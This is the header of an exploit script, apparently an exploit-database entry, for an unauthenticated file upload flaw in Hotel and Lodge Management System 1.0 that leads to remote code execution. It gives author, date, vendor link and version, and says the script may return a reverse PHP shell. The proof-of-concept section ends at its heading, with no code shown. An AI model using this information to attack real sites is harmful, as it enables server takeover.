  # Date: 07-03-2021
  # Exploit Author: Christian Vierschilling
  # Vendor Homepage: https://www.sourcecodester.com
  # Software Link: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
  # Version: 1.0
  # Tested on: PHP 7.4.14, Linux x64_x86
  
  # --- Description --- #
  
  # The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
  # Executing this script against a target might return a reverse php shell.
  
  # --- Proof of concept --- #
